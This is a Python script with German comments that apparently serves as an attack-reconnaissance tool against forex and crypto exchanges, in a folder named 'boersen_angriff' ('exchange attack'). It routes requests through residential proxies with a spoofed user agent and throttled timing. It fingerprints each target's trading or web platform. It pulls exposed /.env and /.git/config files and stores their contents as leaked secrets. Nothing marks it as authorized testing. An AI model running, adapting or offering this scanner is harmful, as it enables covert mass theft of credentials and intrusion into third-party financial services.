#!/usr/bin/env python3
# Pass A: Fingerprint (Homepage) + Leak-Pfade (.env/.git/config) je Ziel, dosiert, Residential-Proxy
# Aufruf: passA_sweep.py <targets.json> <prefix> <worker> <nworkers>
import json, time, random, re, sys, os, urllib.request as ur, urllib.error

targets = json.load(open(sys.argv[1]))
PREFIX = sys.argv[2]          # z.B. cryptoA
WORKER = int(sys.argv[3])
NWORKERS = int(sys.argv[4])
shard = targets[WORKER::NWORKERS]

BASE = "/home/marcel7364/investoren-daten/forex/boersen_angriff"
OUT = f"{BASE}/{PREFIX}_w{WORKER}.json"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

def get_proxy():
    for _ in range(4):
        try:
            return json.loads(ur.urlopen(f"http://127.0.0.1:8110/proxy?country=DE&session=fxborsen-{PREFIX}-{WORKER}&ttl=14000", timeout=15).read())["proxy_url"]
        except Exception:
            time.sleep(3)
    return None

proxy_url = get_proxy()
def opener():
    if not proxy_url: return ur.build_opener()
    op = ur.build_opener(ur.ProxyHandler({"http": proxy_url, "https": proxy_url}))
    op.addheaders = [("User-Agent", UA)]
    return op

op = opener()

SIGS = [
    (r'hollaex|HollaEx', 'hollaex'),
    (r'peatio|Peatio', 'peatio'),
    (r'opendax|OpenDAX|barong', 'opendax'),
    (r'ctrader|cTrader|Spotware', 'ctrader'),
    (r'MetaTrader|metaquotes', 'mt45'),
    (r'wp-content|wordpress', 'wordpress'),
    (r'woocommerce', 'woocommerce'),
    (r'Magento|\bmage/|static/version', 'magento'),
    (r'b2broker|b2core|B2BinPay', 'b2broker'),
    (r'shiftmarkets|Shift Markets', 'shiftmarkets'),
    (r'match-trader|matchtrader', 'matchtrader'),
    (r'tradingview', 'tradingview'),
    (r'shopify', 'shopify'),
    (r'bitexchange|bitExchange', 'bitexchange'),
    (r'binance-clone|bitskins|bitsane', 'misc-exchange'),
    (r'django|laravel', 'webapp'),
]

def req(url, n=12000, timeout=18):
    try:
        with op.open(ur.Request(url), timeout=timeout) as r:
            body = r.read(n)
            hdrs = dict(r.headers)
            return {"status": r.status, "body": body.decode("utf-8", "replace"), "h": {k.lower(): v for k, v in hdrs.items()}}
    except urllib.error.HTTPError as e:
        try: body = e.read(1500).decode("utf-8", "replace")
        except Exception: body = ""
        return {"status": e.code, "body": body, "h": {}}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}", "h": {}}

results = {}
if os.path.exists(OUT):
    results = json.load(open(OUT))

def base_for(d):
    for cand in (f"https://www.{d}", f"https://{d}"):
        r = req(cand + "/", n=30000)
        if r["status"] in (200, 301, 302, 403, 405, 308):
            return cand, r
    return None, None

n = 0
for d in shard:
    if d in results:
        continue
    entry = {}
    b, r = base_for(d)
    if b:
        entry["base"] = b
        entry["home_status"] = r["status"]
        entry["server"] = r["h"].get("server", "")
        entry["xpowered"] = r["h"].get("x-powered-by", "")
        sigs = [name for pat, name in SIGS if re.search(pat, r["body"], re.I)]
        if sigs:
            entry["stack"] = sigs
    else:
        entry["dead"] = True
    # Leak-Pfade
    if b:
        for path in ("/.env", "/.git/config"):
            r2 = req(b + path, n=20000)
            s = r2["status"]
            body = r2["body"]
            interesting = False
            if path == "/.env" and s == 200 and re.search(r'^[A-Z_]{3,}=', body, re.M) and len(body) < 15000:
                interesting = True
            if path == "/.git/config" and s == 200 and "[core]" in body:
                interesting = True
            if s == 200 or interesting:
                entry[path] = {"status": s, "len": len(body), "head": body[:600], "interesting": interesting}
    results[d] = entry
    n += 1
    if n % 15 == 0:
        json.dump(results, open(OUT, "w"), ensure_ascii=False)
        print(f"w{WORKER} {n}/{len(shard)} done", flush=True)
    time.sleep(random.uniform(1.0, 2.0))

json.dump(results, open(OUT, "w"), ensure_ascii=False)
print(f"w{WORKER} FERTIG {len(results)}", flush=True)
